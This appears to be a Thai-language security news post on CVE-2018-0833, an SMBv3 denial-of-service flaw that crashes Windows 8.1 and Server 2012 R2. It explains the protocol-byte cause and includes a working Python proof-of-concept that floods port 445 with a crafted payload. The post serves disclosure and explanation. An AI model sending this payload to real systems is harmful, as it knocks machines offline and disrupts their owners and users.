พบช่องโหว่ DoS ใน SMBv3 ทำให้เครื่อง Windows crash ได้ด้วย packet เดียวเท่านั้น
SMB เป็น service ที่ถูกใช้ใน Windows มาอย่างยาวนาน ครั้งที่สร้างปัญหาใหญ่สุดก็น่าจะเป็นตอน Eternalblue หรือก็คือช่องโหว่ที่ถูกใช้ใน Wannacry นั่นเอง ล่าสุดพบช่องโหว่ DoS ใน SMBv3 ทำให้เครื่อง hang ได้ (CVE-2018-0833)
โดยปกติแล้วการใช้งาน SMBv3 นั้นจะเริ่มจากการใช้งาน SMBv2 เพื่อเริ่มต้นสร้าง connection ก่อน โดยตรงจุดแรกดังกล่าว SMBv2 จะกำหนดใน field protocol ใน TCP Header เป็น 0xFE แล้วหลังจากนั้นเมื่อ negotiate เสร็จก็จะเริ่ม SMBv3 ซึ่งเป็นการเข้ารหัส protocol ทั้งหมด ซึ่งใน field protocol จะเปลี่ยนเป็น 0xFD แทน ทีนี้ถ้าหากเราทำการ connect ไปยัง SMB service ด้วย field protocol เป็น 0xFD ตั้งแต่ต้นจะทำให้เกิด crash ได้
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
import socket from binascii import unhexlify payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host ="10.211.55.29" port = 445 s.connect((host,port)) def ts(str): s.send(unhexlify(payload)) #data = '' #data = s.recv(1024).decode() while 2: ts(s) s.close () |
โดยช่องโหว่ดังกล่าวจะกระทบแค่ Windows 8.1 และ Windows Server 2012 R2 ไม่กระทบกับ Windows 10 และ Windows Server 2016 แต่อย่างใดครับ (admin ได้ลองกับ Windows 10 และ Windows Server 2016 แล้วไม่พบการเกิด Blue Screen Of Death แต่อย่างใด)
หากใครต้องการรายละเอียดของ Root Cause สามารถไปตามได้จาก Link ด้านล่างครับ
Source:: krbtgt.pw